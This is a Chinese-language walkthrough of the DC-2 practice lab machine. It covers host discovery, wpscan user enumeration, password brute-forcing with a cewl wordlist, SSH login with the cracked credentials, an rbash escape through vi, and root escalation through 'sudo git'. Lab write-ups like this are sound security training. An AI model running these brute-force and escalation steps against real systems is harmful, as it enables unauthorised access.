一、信息收集
1、使用kscan获取靶机ip
cd ~/Desktop
./kscan_linux_amd64 -t 192.168.209.0/24
2、访问靶机ip地址
(1)、修改dns
当你输入靶机ip时,网站会自动跳转成域名dc-2,也就是说即使你用ip访问,这个网站框架的设置就让你变成以域名访问这个网站,而我们这时候也会发现跳转访问失败。
这里就牵扯到dns(域名解析服务器)
域名服务器是指保存有该网络中所有主机的域名和对应IP地址,并具有将域名转换为IP地址功能的服务器。其中域名必须对应一个IP地址,而IP地址不一定有域名。
本机也有dns
我们这个是内网,在本机dns添加靶机ip以及域名即可在虚拟机里访问。
vim /etc/hosts
点击字母i进入编辑模式,将靶机ip和域名输入进去,然后按esc,输入:wq! 保存并退出。
访问dc-2
3、使用cewl工具收集密码
用cewl来获取密码,是爆破密码之类的,因为提示自己的密码字典可能无效,且有时没法获得所有密码,提示用其他的身份去登录。
cewl是通过爬行网站获取关键信息创建一个密码字典。
cewl http://dc-2/index.php/flag/ -w dict.txt
4、使用wpscan工具收集用户名
WPScan是Kali Linux默认自带的一款漏洞扫描工具。
但是遇到了更新失败问题
找到升级文件
dpkg -L wpscan | grep updater
编辑文件
vim /usr/share/rubygems-integration/all/gems/wpscan-3.8.22/lib/wpscan/db/updater.rb
升级成功
wpscan --update
sudo su
进入root权限
exit
切回普通权限
正式使用wpscan
wpscan --url http://dc-2/ -e u
发现用户名:admin、 tom、 jerry
我们将这三个用户名 写进一个文件里进行保存。
touch user.txt
找到这个文件进行编辑。
5、使用工具dirb工具扫描目录
dirb http://dc-2
二、漏洞利用
(1)、爆破用户名和密码
wpscan --url http://dc-2/ -P dict.txt -U user.txt
爆出两个结果
jerry adipiscing
tom parturient
有了这个就去找登录:
发现首页并没有登录位置
访问:
http://dc-2/wp-admin/
(2)、端口利用
ssh tom@192.168.209.149 -p 7744
parturient
ls
cat flag3.txt //查看文件
ls /home/tom/usr/bin //查看可用命令
(3)、vi绕过
什么是rbash?:它与一般shell的区别在于会限制一些行为,让一些命令无法执行.
vi绕过
vi test
:set shell=/bin/sh
:shell
export -p //查看
export PATH="/usr/sbin:/usr/bin:/rbin:/bin"//修改
cat flag3.txt
提示切换用户JERRY
切换用户并执行命令
su 用户名 -c “命令”
jerry adipiscing
su jerry
adipiscing
这个时候还需要切换路径
cd /home/jerry
ls
cat flag4.txt
三、git提权
sudo git -p//-p是分页的意思
!/bin/sh
whoami
cd ~
ls
cat final-flag.txt